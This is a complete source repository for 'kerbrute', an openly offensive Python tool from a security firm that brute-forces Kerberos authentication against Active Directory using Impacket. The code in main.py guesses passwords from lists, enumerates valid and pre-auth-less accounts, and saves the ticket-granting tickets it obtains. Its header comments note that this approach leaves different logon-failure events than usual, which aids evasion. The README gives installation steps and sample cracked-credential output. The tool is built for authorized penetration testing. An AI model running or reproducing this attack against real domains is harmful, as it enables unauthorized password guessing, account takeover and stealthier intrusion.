├── .gitignore ├── LICENSE ├── MANIFEST.in ├── README.md ├── kerbrute.py ├── kerbrute ├── __init__.py └── main.py ├── requirements.txt └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__ 2 | *.pyc 3 | dist 4 | build 5 | *.egg-info/ 6 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include README.md LICENSE requirements.txt 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # kerbrute 2 | An script to perform kerberos bruteforcing by using the Impacket library. 3 | 4 | When is executed, as input it receives a user or list of users and a password or list of password. Then is performs a brute-force attack to enumerate: 5 | * Valid username/passwords pairs 6 | * Valid usernames 7 | * Usernames without pre-authentication required 8 | 9 | As a result, the script generates a list of valid credentials discovered, and the TGT's generated due those valid credentials. 10 | 11 | ## Installation 12 | 13 | From pypi: 14 | ``` 15 | pip3 install kerbrute 16 | ``` 17 | 18 | From repo: 19 | ``` 20 | git clone https://github.com/TarlogicSecurity/kerbrute 21 | cd kerbrute 22 | pip install -r requirements.txt 23 | ``` 24 | 25 | ## Use 26 | 27 | Help without arguments: 28 | ```shell 29 | root@kali:~# kerbrute 30 | Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation 31 | 32 | usage: kerbrute.py [-h] [-debug] (-user USER | -users USERS) 33 | [-password PASSWORD | -passwords PASSWORDS] -domain DOMAIN 34 | [-dc-ip ] [-threads THREADS] 35 | [-outputfile OUTPUTFILE] [-no-save-ticket] 36 | 37 | optional arguments: 38 | -h, --help show this help message and exit 39 | -debug Turn DEBUG output ON 40 | -user USER User to perform bruteforcing 41 | -users USERS File with user per line 42 | -password PASSWORD Password to perform bruteforcing 43 | -passwords PASSWORDS File with password per line 44 | -domain DOMAIN Domain to perform bruteforcing 45 | -dc-ip IP Address of the domain controller 46 | -threads THREADS Number of threads to perform bruteforcing. Default = 1 47 | -outputfile OUTPUTFILE 48 | File to save discovered user:password 49 | -no-save-ticket Do not save retrieved TGTs with correct credentials 50 | 51 | Examples: 52 | ./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com 53 | ``` 54 | 55 | Example of execution: 56 | ```shell 57 | root@kali:~# kerbrute -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt 58 | Impacket v0.9.18 - Copyright 2018 SecureAuth Corporation 59 | 60 | [*] Stupendous => triceratops:Sh4rpH0rns 61 | [*] Saved TGT in triceratops.ccache 62 | [*] Valid user => velociraptor [NOT PREAUTH] 63 | [*] Valid user => trex 64 | [*] Saved discovered passwords in jurassic_passwords.txt 65 | ``` 66 | -------------------------------------------------------------------------------- /kerbrute.py: -------------------------------------------------------------------------------- 1 | import kerbrute 2 | 3 | if __name__ == '__main__': 4 | kerbrute.main() 5 | -------------------------------------------------------------------------------- /kerbrute/__init__.py: -------------------------------------------------------------------------------- 1 | from .main import main 2 | -------------------------------------------------------------------------------- /kerbrute/main.py: -------------------------------------------------------------------------------- 1 | # Authors: 2 | # Tarlogic (https://www.tarlogic.com) 3 | # Zer1t0 (https://github.com/Zer1t0) 4 | # 5 | # Description: 6 | # This module will perform a bruteforce attack by using Kerberos against Active Directory. 7 | # Kerberos bruteforcing has some pros: 8 | # * It didn't produce normal Logon event failure logs (4625) but instead Kerberos pre-authentication failure (4771) 9 | # * Allows discover valid users, even if password is wrong 10 | # * Allows discover users without Kerberos pre-authentication, to apply these ASREPRoast attack 11 | # 12 | # As main parameters, a list of users and passwords, as well as a domain should be provided. 13 | # As a result, the discovered credentials will be shown, as well as valid accounts, 14 | # accounts without Kerberos pre-authentication and blocked accounts. 15 | # 16 | # Also this scripts allows to save discovered passwords in a outputfile, and stored recovered TGTs in ccache files. 17 | # 18 | # 19 | 20 | 21 | import argparse 22 | import sys 23 | import logging 24 | from concurrent.futures import ThreadPoolExecutor, as_completed 25 | from threading import Lock 26 | 27 | from impacket import version 28 | from impacket.examples import logger 29 | from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError, SessionKeyDecryptionError 30 | from impacket.krb5 import constants 31 | from impacket.krb5.types import Principal 32 | from impacket.krb5.ccache import CCache 33 | 34 | 35 | class KerbruteArgumentParser: 36 | 37 | def __init__(self): 38 | self._parser = argparse.ArgumentParser() 39 | self._define_args() 40 | 41 | def _define_args(self): 42 | self._parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 43 | 44 | user_group = self._parser.add_mutually_exclusive_group(required=True) 45 | user_group.add_argument('-user', help='User to perform bruteforcing') 46 | user_group.add_argument('-users', help='File with user per line') 47 | 48 | password_group = self._parser.add_mutually_exclusive_group() 49 | password_group.add_argument('-password', help='Password to perform bruteforcing') 50 | password_group.add_argument('-passwords', help='File with password per line') 51 | 52 | self._parser.add_argument('-domain', required=True, help='Domain to perform bruteforcing') 53 | 54 | self._parser.add_argument('-dc-ip', action='store', metavar='', 55 | help='IP Address of the domain controller') 56 | 57 | self._parser.add_argument('-threads', type=int, default=1, 58 | help='Number of threads to perform bruteforcing. Default = 1') 59 | 60 | self._parser.add_argument('-outputfile', help='File to save discovered user:password') 61 | 62 | self._parser.add_argument('-outputusers', help='File to save discovered users') 63 | 64 | self._parser.add_argument('-no-save-ticket', action='store_true', 65 | help='Do not save retrieved TGTs with correct credentials') 66 | 67 | def parse_args(self): 68 | 69 | if len(sys.argv) == 1: 70 | self._parser.print_help() 71 | print("\nExamples: ") 72 | print("\t./kerbrute.py -users users_file.txt -passwords passwords_file.txt -domain contoso.com\n") 73 | sys.exit(1) 74 | 75 | args = self._parser.parse_args() 76 | 77 | args.users = self._get_file_lines(args.users) if args.users else [args.user] 78 | 79 | if args.passwords: 80 | args.passwords = self._get_file_lines(args.passwords) 81 | elif args.password: 82 | args.passwords = [args.password] 83 | else: 84 | args.passwords = [''] 85 | 86 | args.save_ticket = not args.no_save_ticket 87 | 88 | return args 89 | 90 | def _get_file_lines(self, filepath): 91 | with open(filepath) as fi: 92 | return [line.strip('\r\n') for line in fi] 93 | 94 | 95 | def main(): 96 | logger.init() 97 | print(version.BANNER) 98 | 99 | parser = KerbruteArgumentParser() 100 | args = parser.parse_args() 101 | 102 | if args.debug: 103 | logging.getLogger().setLevel(logging.DEBUG) 104 | else: 105 | logging.getLogger().setLevel(logging.INFO) 106 | 107 | out_creds_file = open(args.outputfile, "w") if args.outputfile else None 108 | out_users_file = open(args.outputusers, "w") if args.outputusers else None 109 | 110 | kerberos_bruter = KerberosBruter(args.domain, args.dc_ip, args.save_ticket, out_creds_file, out_users_file) 111 | kerberos_bruter.attack(args.users, args.passwords, args.threads) 112 | 113 | if out_creds_file: 114 | out_creds_file.close() 115 | 116 | if kerberos_bruter.some_password_was_discovered(): 117 | logging.info("Saved discovered passwords in %s" % args.outputfile) 118 | 119 | if out_users_file: 120 | out_users_file.close() 121 | if kerberos_bruter.some_user_was_discovered(): 122 | logging.info("Saved discovered users in %s" % args.outputusers) 123 | 124 | if not kerberos_bruter.some_password_was_discovered(): 125 | logging.info("No passwords were discovered :'(") 126 | 127 | 128 | class KerberosBruter: 129 | class InvalidUserError(Exception): 130 | pass 131 | 132 | def __init__(self, domain, kdc_host, save_ticket=True, out_creds_file=None, out_users_file=None): 133 | self.domain = domain 134 | self.kdc_host = kdc_host 135 | self.save_ticket = save_ticket 136 | 137 | self.good_credentials = {} 138 | self.bad_users = {} 139 | self.good_users = {} 140 | self.report_lock = Lock() 141 | 142 | self.out_creds_file = out_creds_file 143 | self.out_users_file = out_users_file 144 | 145 | def attack(self, users, passwords, threads=1): 146 | pool = ThreadPoolExecutor(threads) 147 | threads = [] 148 | 149 | for password in passwords: 150 | for user in users: 151 | t = pool.submit(self._handle_user_password, user, password) 152 | threads.append(t) 153 | 154 | for f in as_completed(threads): 155 | try: 156 | f.result() 157 | except Exception as ex: 158 | logging.debug('Error trying %s:%s %s' % (ex.kerb_user, ex.kerb_password, ex)) 159 | 160 | def some_user_was_discovered(self): 161 | return len(self.good_users) > 0 162 | 163 | def some_password_was_discovered(self): 164 | return len(self.good_credentials) > 0 165 | 166 | def _handle_user_password(self, user, password): 167 | try: 168 | self._check_user_password(user, password) 169 | except KerberosBruter.InvalidUserError: 170 | pass 171 | except Exception as ex: 172 | ex.kerb_user = user 173 | ex.kerb_password = password 174 | raise ex 175 | 176 | def _check_user_password(self, user, password): 177 | try: 178 | tgt, user_key = self._try_get_tgt(user, password) 179 | self._report_good_password(user, password, tgt, user_key) 180 | 181 | except KerberosError as ex: 182 | if ex.getErrorCode() == constants.ErrorCodes.KDC_ERR_C_PRINCIPAL_UNKNOWN.value: 183 | self._report_bad_user(user) 184 | 185 | elif ex.getErrorCode() == constants.ErrorCodes.KDC_ERR_PREAUTH_FAILED.value: 186 | self._report_good_user(user) 187 | 188 | elif ex.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value: 189 | self._report_expired_password(user, password) 190 | 191 | elif ex.getErrorCode() == constants.ErrorCodes.KDC_ERR_CLIENT_REVOKED.value: 192 | self._report_blocked_user(user) 193 | else: 194 | raise ex 195 | 196 | except SessionKeyDecryptionError as ex: 197 | self._report_good_user_with_preauth(user, ex.asRep) 198 | 199 | def _try_get_tgt(self, user, password): 200 | if self._user_credentials_were_discovered(user) or self._is_bad_user(user): 201 | raise KerberosBruter.InvalidUserError() 202 | 203 | logging.debug('Trying %s:%s' % (user, password)) 204 | 205 | username = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) 206 | tgt, cipher, user_key, session_key = getKerberosTGT(username, password, self.domain, lmhash='', nthash='', 207 | kdcHost=self.kdc_host) 208 | return tgt, user_key 209 | 210 | def _user_credentials_were_discovered(self, user): 211 | return user in self.good_credentials 212 | 213 | def _is_bad_user(self, user): 214 | return user in self.bad_users 215 | 216 | def _report_good_password(self, user, password, tgt, user_key): 217 | with self.report_lock: 218 | if user not in self.good_users: 219 | self.good_users[user] = True 220 | 221 | if user in self.good_credentials: 222 | return 223 | 224 | self.good_credentials[user] = password 225 | 226 | logging.info('Stupendous => %s:%s' % (user, password)) 227 | 228 | if self.out_creds_file: 229 | self.out_creds_file.write("%s:%s\n" % (user, password)) 230 | self.out_creds_file.flush() 231 | if self.out_users_file: 232 | self.out_users_file.write("%s\n" % user) 233 | self.out_users_file.flush() 234 | 235 | if self.save_ticket: 236 | ccache = CCache() 237 | ccache.fromTGT(tgt, user_key, user_key) 238 | 239 | ccache_file = user + '.ccache' 240 | ccache.saveFile(ccache_file) 241 | logging.info('Saved TGT in %s' % ccache_file) 242 | 243 | def _report_expired_password(self, user, password): 244 | with self.report_lock: 245 | if user not in self.good_users: 246 | self.good_users[user] = True 247 | 248 | if user in self.good_credentials: 249 | return 250 | 251 | self.good_credentials[user] = password 252 | 253 | logging.info('Stupendous (Expired password) => %s:%s' % (user, password)) 254 | 255 | if self.out_creds_file: 256 | self.out_creds_file.write("%s:%s\n" % (user, password)) 257 | self.out_creds_file.flush() 258 | if self.out_users_file: 259 | self.out_users_file.write("%s\n" % user) 260 | self.out_users_file.flush() 261 | 262 | def _report_bad_user(self, user): 263 | with self.report_lock: 264 | if user in self.bad_users: 265 | return 266 | 267 | self.bad_users[user] = True 268 | logging.debug('Invalid user => %s' % user) 269 | 270 | def _report_good_user(self, user): 271 | with self.report_lock: 272 | if user in self.good_users: 273 | return 274 | 275 | if self.out_users_file: 276 | self.out_users_file.write("%s\n" % user) 277 | self.out_users_file.flush() 278 | 279 | self.good_users[user] = True 280 | logging.info('Valid user => %s' % user) 281 | 282 | def _report_good_user_with_preauth(self, user, as_rep): 283 | with self.report_lock: 284 | if user in self.good_users: 285 | return 286 | 287 | if self.out_users_file: 288 | self.out_users_file.write("%s\n" % user) 289 | self.out_users_file.flush() 290 | 291 | self.good_users[user] = True 292 | logging.info('Valid user => %s [NOT PREAUTH]' % user) 293 | 294 | def _report_blocked_user(self, user): 295 | with self.report_lock: 296 | if user in self.bad_users: 297 | return 298 | 299 | self.bad_users[user] = True 300 | logging.info('Blocked/Disabled user => %s' % user) 301 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | impacket 2 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | import setuptools 2 | 3 | 4 | with open("README.md", "r") as fh: 5 | long_description = fh.read() 6 | 7 | with open('requirements.txt') as f: 8 | requirements = f.read().splitlines() 9 | 10 | 11 | name = "kerbrute" 12 | 13 | setuptools.setup( 14 | name=name, 15 | version="0.0.2", 16 | author="Eloy Perez", 17 | author_email="eloy.perez@tarlogic.com", 18 | description="Kerberos bruteforce utility", 19 | long_description=long_description, 20 | long_description_content_type="text/markdown", 21 | packages=setuptools.find_packages(), 22 | install_requires=requirements, 23 | entry_points={ 24 | "console_scripts": [ 25 | "{0} = {0}:main".format(name) 26 | ] 27 | }, 28 | classifiers=[ 29 | "Programming Language :: Python :: 3", 30 | "License :: OSI Approved :: GNU General Public License v3 (GPLv3)", 31 | "Operating System :: OS Independent", 32 | ], 33 | ) 34 | --------------------------------------------------------------------------------